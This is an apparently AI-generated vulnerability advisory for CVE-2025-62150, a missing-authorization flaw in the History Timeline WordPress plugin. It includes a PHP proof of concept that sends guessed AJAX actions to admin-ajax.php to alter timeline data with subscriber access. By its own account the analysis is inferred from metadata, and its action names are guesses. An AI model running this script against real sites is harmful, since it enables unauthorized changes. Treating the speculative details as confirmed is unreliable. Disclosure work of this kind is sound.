Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62150: History Timeline <= 1.0.6 – Missing Authorization (timeline-awesome)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.0.6
Patched Version
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62150 (metadata-based):
The History Timeline WordPress plugin contains a missing authorization vulnerability in versions up to and including 1.0.6. This flaw allows authenticated attackers with subscriber-level permissions to perform unauthorized actions. The CVSS 4.3 score reflects a moderate severity issue with low attack complexity and no confidentiality or availability impact.

Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook or AJAX handler. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a privileged function. This conclusion is inferred from the CWE and vulnerability description, as no source code diff is available for verification. The plugin likely registers an AJAX action or admin menu callback without implementing current_user_can() or similar authorization checks.

Exploitation requires an authenticated attacker with subscriber-level access. The attacker sends a crafted request to the plugin’s AJAX endpoint at /wp-admin/admin-ajax.php with the action parameter containing a plugin-specific hook name. Based on WordPress plugin patterns, the action likely follows the format timeline_awesome_{function_name} or ht_{function_name}. The payload would include parameters that trigger the unauthorized action, such as modifying timeline data or plugin settings. No nonce verification is required due to the missing authorization check.

Remediation requires adding proper capability checks to all privileged functions. The plugin should implement current_user_can(‘manage_options’) or a custom capability for administrative actions. WordPress best practices mandate checking nonces for state-changing operations and validating user permissions before processing any administrative requests. The patch should also consider removing the vulnerable endpoint from low-privileged user access entirely.

The impact includes unauthorized modification of timeline content or plugin configuration. While the vulnerability does not enable data theft or remote code execution, it allows low-privileged users to alter application data without permission. Attackers could deface timeline entries, modify historical data, or disrupt the plugin’s functionality. The integrity impact is limited to the plugin’s data scope.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62150 - History Timeline <= 1.0.6 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-62150
 * This script demonstrates unauthorized action execution in History Timeline plugin <= 1.0.6
 * Assumptions based on WordPress plugin patterns:
 * 1. Plugin uses AJAX handlers via admin-ajax.php
 * 2. Missing capability check on a specific AJAX action
 * 3. Action name follows plugin slug pattern 'timeline_awesome_*' or 'ht_*'
 * 4. Subscriber-level authentication is sufficient
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Initialize cURL session for WordPress authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First, authenticate to WordPress (simplified - real PoC would need nonce from login)
echo "[+] Attempting authentication as subscriber...n";
// Note: Actual implementation requires proper WordPress login flow with nonce
// This PoC assumes attacker already has valid session cookies

// Attempt common AJAX action names based on plugin slug patterns
$possible_actions = [
    'timeline_awesome_save',
    'timeline_awesome_update',
    'timeline_awesome_delete',
    'ht_save_timeline',
    'ht_update_event',
    'ht_delete_event',
    'history_timeline_save',
    'history_timeline_update'
];

echo "[+] Testing for vulnerable AJAX actions...n";
foreach ($possible_actions as $action) {
    $post_data = [
        'action' => $action,
        'data' => 'unauthorized_modification',
        'id' => '1'
    ];
    
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200 && strpos($response, 'success') !== false) {
        echo "[+] Potential vulnerable action found: $actionn";
        echo "[+] Response: " . substr($response, 0, 200) . "...n";
        break;
    }
}

curl_close($ch);
echo "[+] PoC complete. Check if unauthorized action was executed.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School